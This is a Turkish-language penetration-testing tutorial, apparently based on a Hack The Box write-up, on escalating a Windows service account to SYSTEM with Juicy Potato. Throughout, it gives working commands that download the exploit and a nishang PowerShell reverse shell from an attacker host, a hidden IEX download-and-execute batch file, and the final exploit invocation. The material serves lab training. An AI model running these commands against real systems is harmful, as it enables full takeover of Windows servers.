Juicy Potato ile Windows Yetki Yükseltme

Microsoft kaynaklı bir yapılandırma zafiyeti istismar edilecek ve NT AUTHORITY\SYSTEM yetkisi elde edilecektir.

Windows Server 2008 R2 üzerinde, Server 2012 ve Windows Server 2016’da zafiyet devam etmektedir. Windows bu zafiyeti Server 2019 ile düzelttiğini söylemektedir. Bu zafiyeti tetiklemek için hedef makine de bir kullanıcı shell’ine sahip olmamız gerekmektedir!

Bir servis kullanıcısının yetkisi kullanılarak hak yükseltmek için Juicy Potato adlı bir uygulama kullanılabilir. Juicy Potato ile hak yükseltebilmek için, bu uygulamayı çalıştıracak kullanıcının aşağıdaki proseslerden birisini çağırabilmesi gereklidir.

SeImpersonatePrivilege ya da SeAssignPrimaryTokenPrivilege.

SQL sunucu hizmetini veya IIS hizmetini çalıştıran kullanıcılar, genellikle tasarım gereği bu ayrıcalıklara sahiptir. Bu ayrıcalık, bir hizmetin sistemdeki diğer kullanıcıları taklit etmesine izin vermek için tasarlanmıştır. Juicy Potato, local privilegesları SYSTEM'e yükseltir.

Kali makinimize juicyi indirmemiz gerekiyor. Ardından indirdiğimiz bu uygulamayı kalide web server oluşturup (python -m SimpleHTTPServer 5555)

hedef makinemize atmak için şu komutu yazacağız. (ip adresi ve dosya konumu değişkendir.)

(new-object net.webclient).downloadfile('http://192.168.158.129:5555/JuicyPotato.exe'arrow-up-right, 'C:\Users\SQLService\Documents\jp.exe')

./jp.exe diye çalıştırdığımız da bize beklediği parametleri ve kullanabileceğimiz parametreleri gösterecektir.

Zorunlu 3 parametremiz var bunlar:

-t: yapacağı işlem şeklini soruyor. * yaparsak her şekilde dener.

-p: reverse almak için kullanılan program

-l: dinlenen port

Gelelim Invoke-PowerShell’e.

Önce Invoke-PowerShellTcp.ps1 komut dosyasını bulunduğumuz dizine kopyalıyoruz. Kopyalayalım bunu çünkü configde değişiklikler yapacağız.

cp ../../../nishang/Shells/Invoke-PowerShellTcp.ps1 . mv Invoke-PowerShellTcp.ps1 shell-2.ps1

Kopyaladığımız dosyanın sonuna şunu ekliyoruz (kendi ip adresimiz ve nc ile dinleyeceğimiz port) :

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.158.129 -Port 6666

6666 numaralı portumuzu reverse shell gelecek o yüzden bu portu dinlemeliyiz.

Şimdi bu dosyayı da karşı tarafa atmalıyız. Bu dosyayı indirmesi için bir Windows betiği hazırlıyoruz ve Windows makinemiz de şu komutu yazıyoruz.

echo "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noninteractive -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile IEX(New-Object Net.WebClient).downloadString('http://192.168.158.129:5555/shell-2.ps1')" > shell.bat

dir ile kontrol edersek dosyanın gelmiş olacağını göreceğiz ve type ile bu dosyanın içeriğini okuyalım ve kopyalayıp kaliye shell.bat olarak kaydedelim.

Ardında şu komutu yazalım:

powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.158.129:5555/shell.bat','C:\Users\SQLService\Documents\shell.bat')"

ve artık her şey hazır reverse shell alma zamanı!

./jp.exe -t * -p "./shell.bat" -l 4444

Not: Dosyanın kaliden windows'a geçme aşaması farklı şekillerde olabilir. Detaylı powershell komutları için:

https://book.hacktricks.xyz/windows/basic-powershell-for-pentestersarrow-up-right

Ref:

https://ranakhalil101.medium.com/hack-the-box-json-writeup-w-o-metasploit-1218df042b2carrow-up-right

https://www.siberportal.org/red-team/windows-operating-system-penetration-tests/juicy-potato-uygulamasi-kullanarak-windows-servis-kullanicisi-yetkisinin-yukseltilmesi/arrow-up-right

Last updated